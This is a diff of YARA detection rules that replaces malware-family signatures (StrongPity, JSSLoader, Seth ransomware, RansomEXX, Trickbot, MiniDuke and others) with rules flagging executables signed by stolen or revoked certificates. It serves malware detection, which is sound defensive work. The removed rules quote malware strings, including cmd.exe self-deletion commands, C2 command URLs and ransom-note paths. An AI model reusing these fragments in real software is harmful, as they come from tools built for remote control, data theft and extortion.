-		$s12 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.0; Windows NT %d.1; SV1)" fullword ascii
-		$w1 = ".aspGET" ascii
-		$w2 = ".htmGET" ascii
-		$w3 = ".htmlGET" ascii
-		$domain = "www.xy999.com" fullword ascii
-		$v2_1 = "loglass" fullword ascii
-		$v2_2 = "rlehgs" fullword ascii
-		$v2_3 = "eherrali" fullword ascii
-		$v2_4 = "agesrlu" fullword ascii
-		$v2_5 = "lepejagas" fullword ascii
+		thumbprint = "a657b8f2efea32e6a1d46894764b7a4f82ad0b56"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (5 of ($s*) or ( all of ($v2*)) or ($domain and 3 of them ) or (#w1>2 and #w2>2 and #w3>2 and 3 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BBT KLA d.o.o." and pe.signatures[i].serial=="31:d8:52:f5:fc:a1:a5:96:6b:5e:d0:8a:14:82:5c:54")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Strongpity : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_510C5E540503F30C9Caa3082296Aa452 : FILE
 {
 	meta:
-		description = "Detects StrongPity"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "9dcc5edb-5c86-5412-af63-f88d488d5829"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "eddbe6f1-fb7c-5129-afb4-6b4d67e39f60"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3706-L3720"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5033-L5045"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e92147966cd68152eb536b805c4918462f72f64280d1b3df800bb41266aa232f"
+		hash = "cb01f31a322572035cf19f6cda00bcf1d8235dcc692588810405d0fc6e8d239c"
+		logic_hash = "9b6ad8b3e90fcd63f86b353e89ce7e6226197bfcb491e2151b8dbf580466076e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Boundary%08X" ascii wide
-		$s2 = "Content-Disposition: form-data; name=\"file\";" fullword ascii
-		$s3 = "%sfilename=\"%ls\"" fullword ascii
-		$s4 = "name=%ls&delete=" fullword ascii
-		$s5 = "Content-Type: application/octet-stream" fullword ascii
-		$s6 = "cmd.exe /C ping" wide
-		$s7 = "& rmdir /Q /S \"" wide
+		thumbprint = "3e56a13ceb87243b8b2c5de67da54a3a9e0988d7"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Systems Analysis 360 Ltd" and pe.signatures[i].serial=="51:0c:5e:54:05:03:f3:0c:9c:aa:30:82:29:6a:a4:52")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Jssloader : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_56Bba7Fe242E6B49695Bcf07870F5F5E : FILE
 {
 	meta:
-		description = "Detects JSSLoader RAT/backdoor"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "ef710c21-5c64-513e-b882-b5768478976e"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "902c1949-81e6-5070-ac60-2ebbb363fc6d"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3722-L3752"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5047-L5058"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "91764dabfb40cb51914110de229ddb00cd565078fef83c825f7a86fa502fda37"
+		logic_hash = "6c9da28b90bcff069509fc8e91c0a960805bb8339d0fa21f5466c38b6d20f95f"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$cmd1 = "Cmd_UPDATE" fullword ascii
-		$cmd2 = "Cmd_IDLE" fullword ascii
-		$cmd3 = "Cmd_EXE" fullword ascii
-		$cmd4 = "Cmd_VBS" fullword ascii
-		$cmd5 = "Cmd_JS" fullword ascii
-		$cmd6 = "Cmd_PWS" fullword ascii
-		$cmd7 = "Cmd_RAT" fullword ascii
-		$cmd8 = "Cmd_UNINST" fullword ascii
-		$cmd9 = "Cmd_RunDll" fullword ascii
-		$s1 = "ANSWER_OK" fullword ascii
-		$s2 = "GatherDFiles" ascii
-		$s3 = "CommandCd" fullword ascii
-		$s4 = "URL_GetCmd" fullword ascii
-		$s5 = "\"host\": \"{0}\", \"domain\": \"{1}\", \"user\": \"{2}\"" wide
-		$s6 = "pc_dns_host_name" wide
-		$s7 = "\"adinfo\": { \"adinformation\":" wide
-		$e1 = "//e:vbscript" wide
-		$e2 = "//e:jscript" wide
-		$e3 = "/c rundll32.exe" wide
-		$e4 = "/C powershell" wide
-		$e5 = "C:\\Windows\\System32\\cmd.exe" wide
-		$e6 = "echo del /f" wide
-		$e7 = "AT.U() {0}. format" wide
+		thumbprint = "3c176bff246a30460311e8c71f880cad2a845164"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (5 of ($cmd*) or 5 of ($s*) or all of ($e*) or 7 of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ewGMiQgCHj" and pe.signatures[i].serial=="56:bb:a7:fe:24:2e:6b:49:69:5b:cf:07:87:0f:5f:5e")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_CHUWI_Seth : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Dfef1A8C0Dbfef64Bc6C8A0647D6E873 : FILE
 {
 	meta:
-		description = "First sighting on 2020-01-05 didn't include ransomware artificats. Second sighting on 2020-01-24 with several correlations between the two samples now include ransomware artifacts."
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "62af3cd3-59c3-580b-9d66-71fd4acfaf17"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "a8e2a271-399f-531a-8e69-27a1598ba086"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3754-L3801"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5060-L5071"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e6e3f5e9af093268667f67fec2176a943b35721e9f220804e176c6b5a3bb24e1"
+		logic_hash = "104f066ddfd34edc328844d06a84a1663b0d271c02599825c1797704e582883a"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		snort2_sid = "920103-920105"
-		snort3_sid = "920101-920103"
-
-	strings:
-		$cmd1 = "shell_command" fullword ascii
-		$cmd2 = "check_command" fullword ascii
-		$cmd3 = "down_exec" fullword ascii
-		$cmd4 = "open_link" fullword ascii
-		$cmd5 = "down_exec" fullword ascii
-		$cmd6 = "exe_link" fullword ascii
-		$cmd7 = "shellCommand" fullword ascii
-		$cmd8 = "R_CMMAND" fullword ascii
-		$cnc1 = "/check_command.php?HWID=" ascii
-		$cnc2 = "&act=get_command" ascii
-		$cnc3 = "/get_command.php?hwid=" ascii
-		$cnc4 = "&command=down_exec" ascii
-		$cnc5 = "&command=message" ascii
-		$cnc6 = "&command=open_link" ascii
-		$cnc7 = "&command=down_exec" ascii
-		$cnc8 = "&command=shell" ascii
-		$pdb = "\\Users\\CHUWI\\Documents\\CPROJ\\Downloader\\svchost" ascii
-		$rcnc1 = "inc/check_command.php" ascii
-		$rcnc2 = "inc/get_command.php" ascii
-		$rcnc3 = "php?btc" ascii
-		$rcnc4 = "php?hwid" ascii
-		$x1 = "> %USERPROFILE%\\Desktop\\HOW_DECRYPT_FILES.seth.txt" ascii
-		$x2 = "/C dir /b %USERPROFILE%\\Documents > %temp%\\doc.txt" ascii
-		$x3 = "/C dir /b %USERPROFILE%\\Desktop > %temp%\\desk.txt" ascii
-		$x4 = "/C dir /b %USERPROFILE%\\Downloads > %temp%\\downs.txt" ascii
-		$x5 = "/C dir /b %USERPROFILE%\\Pictures > %temp%\\pics.txt" ascii
-		$x6 = "for /F \"delims=\" %%a in ('mshta.exe \"%~F0\"') do set \"HTA=%%a\"" ascii
-		$x7 = "\\svchost.exe" fullword ascii
-		$x8 = ".seth" fullword ascii
-		$x9 = "MyAgent" fullword ascii
+		thumbprint = "0709cdcb27230171877e2a11e6646a9fde28e02c"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ($pdb or 5 of ($cmd*) or 4 of ($cnc*) or all of ($rcnc*) or 5 of ($x*) or 8 of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "NnTqRHlSFNJSUHGaiKWzqyHGdPzBarblmWEzpKHvkZrqn" and pe.signatures[i].serial=="00:df:ef:1a:8c:0d:bf:ef:64:bc:6c:8a:06:47:d6:e8:73")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Gulpix : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0609B5Aad2Dfb81Fbe6B75E4Cfe372A6 : FILE
 {
 	meta:
-		description = "Detects Gulpix/HyperPlus backddor"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "b3dfd1d9-42fe-57d4-8047-135103689be7"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "db7bf2e3-f514-5133-a35a-87c43a5f12cf"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3803-L3832"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5073-L5084"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5026726f093b31b444fc934ac1446b6c25f182b8714a37da05f4498f32a9a65f"
+		logic_hash = "2f483d06fd7af8db8e79203dcd4252d74f4859c0681e0bfcc4a97b351cb758a9"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "MainServer.dll" fullword ascii
-		$x2 = "NvSmartMax.dat" fullword wide
-		$x3 = "NvSmartMax.dll" fullword wide
-		$x4 = "http://+:80/FD873AC4-CF86-4FED-84EC-4BD59C6F17A7/" fullword wide
-		$s1 = "IP retriever" fullword wide
-		$s2 = "\\cmd.exe" fullword wide
-		$s3 = "\\msnetwork-cache.db" fullword wide
-		$s4 = "http://+:" wide
-		$s5 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" fullword wide
-		$s6 = "\\Microsoft\\Windows\\DiskCleanup\\SilentCleanup" ascii
-		$s7 = "Got a unknown request for %ws" wide
-		$s8 = "HttpReceiveRequestEntityBody failed with %lu" wide
-		$s9 = "FD873AC4-CF86-4FED-84EC-4BD59C6F17A7" wide
+		thumbprint = "a30013d7a055c98c4bfa097fe85110629ef13e67"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($x*) or 6 of ($s*) or (2 of ($x*) and 4 of ($s*)) or (2 of them and pe.exports("daemon") and pe.exports("run") and pe.exports("session") and pe.exports("work")))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "vVBhgeghjdigSdWYSAdmy" and pe.signatures[i].serial=="06:09:b5:aa:d2:df:b8:1f:be:6b:75:e4:cf:e3:72:a6")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Linux_Ransomexx : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_02B6656292310B84022Db5541Bc48Faf : FILE
 {
 	meta:
-		description = "Detects RansomEXX ransomware"
-		author = "ditekshen"
-		id = "b449afc7-9055-55ed-a876-316d1aea8fee"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		author = "ditekSHen"
+		id = "252c8339-73d3-5de0-8f75-78a6a2da4abc"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3834-L3858"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5086-L5097"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c233ccc3e741cb2c53f182c48093e41595a82a3f4e5bdb1dc0204f1f57b96c2a"
+		logic_hash = "374f7abfab6f7def8b895dc9536ca6bb7a605e9478934af6c97e8b7595fbee19"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Linux.Ransomware.RansomEXX"
-
-	strings:
-		$c1 = "crtstuff.c" fullword ascii
-		$c2 = "cryptor.c" fullword ascii
-		$c3 = "ransomware.c" fullword ascii
-		$c4 = "logic.c" fullword ascii
-		$c5 = "enum_files.c" fullword ascii
-		$c6 = "readme.c" fullword ascii
-		$c7 = "ctr_drbg.c" fullword ascii
-		$s1 = "regenerate_pre_data" fullword ascii
-		$s2 = "g_RansomHeader" fullword ascii
-		$s3 = "CryptOneBlock" fullword ascii
-		$s4 = "RansomLogic" fullword ascii
-		$s5 = "CryptOneFile" fullword ascii
-		$s6 = "encrypt_worker" fullword ascii
-		$s7 = "list_dir" fullword ascii
-		$s8 = "ctr_drbg_update_internal" fullword ascii
+		thumbprint = "bb58a3d322fd67122804b2924ad1ddc27016e11a"
+		importance = 20
 
 	condition:
-		uint16(0)==0x457f and (5 of ($c*) or 6 of ($s*) or (3 of ($c*) and 3 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DILA d.o.o." and pe.signatures[i].serial=="02:b6:65:62:92:31:0b:84:02:2d:b5:54:1b:c4:8f:af")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Trickbotmodule : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00D609B6C95428954A999A8A99D4F198Af : FILE
 {
 	meta:
-		description = "Detects Trickbot modules"
-		author = "ditekshen"
-		id = "c56c664f-5928-5e2e-ab06-0b9d504981be"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		author = "ditekSHen"
+		id = "e1b732d2-24fd-5819-a26a-049a9a569089"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3860-L3881"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5099-L5110"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4d06653dad5f8a18598855212548364b3c3d2b68b99784846b494fcb1d1c8df9"
+		logic_hash = "62eecc7cf240b9de6e04a43413bbeb84b673e9d3f1c4d67ec4082c099c6a87db"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$mc = "<moduleconfig>" ascii
-		$s1 = "<autostart>" ascii
-		$s2 = "<nohead>" ascii
-		$s3 = "<needinfo" ascii
-		$s4 = "<conf ctl" ascii
-		$s5 = "<limit>" ascii
-		$w1 = "<sys>yes</sys>" ascii
-		$w2 = "<sys>no</sys>" ascii
-		$w3 = "<autostart>yes</autostart>" ascii
-		$w4 = "<autostart>no</autostart>" ascii
-		$w5 = "<nohead>yes</nohead>" ascii
-		$w6 = "<nohead>no</nohead>" ascii
-		$w7 = /<limit>\d+<\/limit>/ ascii
-		$w8 = "<moduleconfig> </moduleconfig" ascii
+		thumbprint = "b1d8033dd7ad9e82674299faed410817e42c4c40"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and $mc and (2 of ($s*) or (1 of ($s*) and 1 of ($w*)) or 1 of ($w*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Fudl" and pe.signatures[i].serial=="00:d6:09:b6:c9:54:28:95:4a:99:9a:8a:99:d4:f1:98:af")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Gaudox : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_6A568F85De2061F67Ded98707D4988Df : FILE
 {
 	meta:
-		description = "Detects Gaudox RAT"
-		author = "ditekshen"
-		id = "c60ac433-20a1-5f01-9447-fa99621bd9e2"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		author = "ditekSHen"
+		id = "ed8748ce-cd90-527b-a58e-da9c7164ed18"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3883-L3893"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5112-L5123"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "117ee89e264067ab3e695688872bbe7d83963731e877d04ac7e2505e64f6e793"
+		logic_hash = "f1aea9f6237cfbda49fea6d38ece935f9d4cc5abc678590c63b9a339aa37e104"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "hdr=%s&tid;=%s&cid;=%s&trs;=%i" ascii wide
-		$s2 = "\\\\\\\\.\\\\PhysicalDrive%u" ascii wide
+		thumbprint = "ed7e16a65294086fbdeee09c562b0722fdb2db48"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Apladis" and pe.signatures[i].serial=="6a:56:8f:85:de:20:61:f6:7d:ed:98:70:7d:49:88:df")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Phobos : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_F90E68Cbf92Fd7Ad409E281C3F2A0F0A : FILE
 {
 	meta:
-		description = "Detects Phobos ransomware"
-		author = "ditekshen"
-		id = "7bf659ef-f2a1-5ee2-a334-c233e26a2526"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		author = "ditekSHen"
+		id = "e92daa7b-2d8a-5806-840e-678a9aa24fef"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3895-L3908"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5125-L5137"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "bbf8eef0863e9d6423b3b0f938561b2be486b92b4f59b5d0b67f52dba536a582"
+		hash = "d79a8f491c0112c3f26572350336fe7d22674f5550f37894643eba980ae5bd32"
+		logic_hash = "ca8d80a446df0c28e9fb4944bd69d9fa008be968c449e5a469b182fbf8744a3f"
 		score = 75
-		quality = 25
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "\\\\?\\UNC\\\\\\e-" fullword wide
-		$x2 = "\\\\?\\ :" fullword wide
-		$x3 = "POST" fullword wide
-		$s1 = "ELVL" fullword wide
-		$s2 = /SUP\d{3}/ fullword wide
-		$s3 = { 41 31 47 ?? 41 2b }
+		thumbprint = "c202564339ddd78a1ce629ce54824ba2697fa3d6"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of ($x*) and 1 of ($s*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SUCK-MY-DICK-ESET" and pe.signatures[i].serial=="f9:0e:68:cb:f9:2f:d7:ad:40:9e:28:1c:3f:2a:0f:0a")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Ratty : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_7Ddd3796A427B42F2E52D7C7Af0Ca54F : FILE
 {
 	meta:
-		description = "Detects Ratty Java RAT"
-		author = "ditekshen"
-		id = "87719e28-dfe7-5366-8d90-65e6c0c6fb4f"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		author = "ditekSHen"
+		id = "2619669f-cceb-5177-9738-d28236e1344e"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3910-L3929"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5139-L5150"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d90bca1b18023da8e60cb6ca86d1c562bff3867c6d5cf893dce605ebb92b9637"
+		logic_hash = "15df43212a842936e2ea0d834797f11fe80af3d376a19aa9a806aa6ed793e679"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "/rat/RattyClient.class" ascii
-		$s2 = "/rat/ActiveConnection.class" ascii
-		$s3 = "/rat/attack/" ascii
-		$s4 = "/rat/gui/swing/Ratty" ascii
-		$s5 = "/rat/packet/PasswordPacket" ascii
-		$s6 = "/rat/packet/" ascii
-		$e1 = "/engine/Keyboard.class" ascii
-		$e2 = "/engine/IMouseListener.class" ascii
-		$e3 = "/engine/Screen$ResizeBehavior.class" ascii
-		$e4 = "/engine/fx/ISoundListener.class" ascii
-		$e5 = "/engine/net/TCPServer.class" ascii
-		$e6 = "/engine/noise/PerlinNoise.class" ascii
+		thumbprint = "b5cd5a485dee4a82f34c98b3f108579e8501fdea"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d or uint16(0)==0xcfd0 or uint16(0)==0x4b50) and (3 of ($s*) or all of ($e*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Fobos" and pe.signatures[i].serial=="7d:dd:37:96:a4:27:b4:2f:2e:52:d7:c7:af:0c:a5:4f")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Fatduke : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_17D99Cc2F5B29522D422332E681F3E18 : FILE
 {
 	meta:
-		description = "Detects FatDuke"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "dc80c0f0-c61c-5f0c-841b-3a75e8a1cef3"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "98493d50-2bee-50a5-93f3-851559c494a6"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3931-L3946"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5152-L5163"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a7923d15b10098e9402614fe7107a6ba1d71512efa6e462d522ef64e13f82b47"
+		logic_hash = "95116d1114239795707b310afea3122d274dac471546de1e0147992d1f3a1d4f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "\\\\?\\Volume" fullword ascii
-		$s2 = "WINHTTP_AUTOPROXY_OPTIONS@@PAUWINHTTP_PROXY_INFO@@" ascii
-		$s3 = "WINHTTP_CURRENT_USER_IE_PROXY_CONFIG@@" ascii
-		$s4 = "Cannot write a Cannot find the too long string mber of records Log malfunction! Cannot create ain an invalid ra Internal sync iright function iWaitForSingleObjffsets" ascii
-		$pattern = "()$^.*+?[]|\\-{},:=!" ascii
-		$b64 = "eyJjb25maWdfaWQiOi" wide
+		thumbprint = "969932039e8bf3b4c71d9a55119071cfa1c4a41b"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (3 of ($s*) or ($b64 and 2 of them ) or (#pattern>3 and 2 of them ))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "PKV Trading ApS" and pe.signatures[i].serial=="17:d9:9c:c2:f5:b2:95:22:d4:22:33:2e:68:1f:3e:18")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Miniduke : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_02De1Cc6C487954592F1Bf574Ca2B000 : FILE
 {
 	meta:
-		description = "Detects MiniDuke"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "947cd414-d19d-5543-8961-94aef69cc94e"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "1dc1b576-34f4-5017-8340-c6f58692a31c"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3948-L3969"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5165-L5176"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c3ab139b4fda2ff9678ceecbdf5ac0c57536bd658f62aa9d19610028b0a5f92c"
+		logic_hash = "5963377fee755a859bc4330a1094ea1c8b2b588133706a22f67c1fb85542e64f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "DefPipe" fullword ascii
-		$s2 = "term %5d" fullword ascii
-		$s3 = "pid %5d" fullword ascii
-		$s4 = "uptime %5d.%02dh" fullword ascii
-		$s5 = "login: %s\\%s" fullword ascii
-		$s6 = "Software\\Microsoft\\ApplicationManager" ascii
-		$s7 = { 69 64 6c 65 ?? 00 73 74 6f 70 ?? 00 61 63 63 65 70 74 ?? 00 63 6f 6e 6e 65 63 74 ?? 00 6c 69 73 74 65 6e ?? 00 }
-		$net1 = "salesappliances.com" ascii
-		$net2 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36" fullword ascii
-		$net3 = "http://10." ascii
-		$net4 = "JiM9t8g7j8KoJkLJlKqka8dbo7q5z4v5u3o4z" ascii
-		$net5 = "application/octet-stream" ascii
-		$net6 = "Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"" ascii
+		thumbprint = "e35804bbf4573f492c51a7ad7a14557816fe961f"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (5 of ($s*) or 4 of ($net*) or 7 of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Orca System" and pe.signatures[i].serial=="02:de:1c:c6:c4:87:95:45:92:f1:bf:57:4c:a2:b0:00")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Polyglotduke : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_142Aac4217E22B525C8587589773Ba9B : FILE
 {
 	meta:
-		description = "Detects PolyGlotDuke"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "01ac90db-35f6-5192-8630-81000573b4f9"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "86ef1337-71cc-5231-a31c-8d8a8d95873f"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3971-L3986"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5178-L5188"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c1fb8ea1d21768cbd65bd7b91e3f817fa97a0a933b511dff2ae4d5db49bdb2ec"
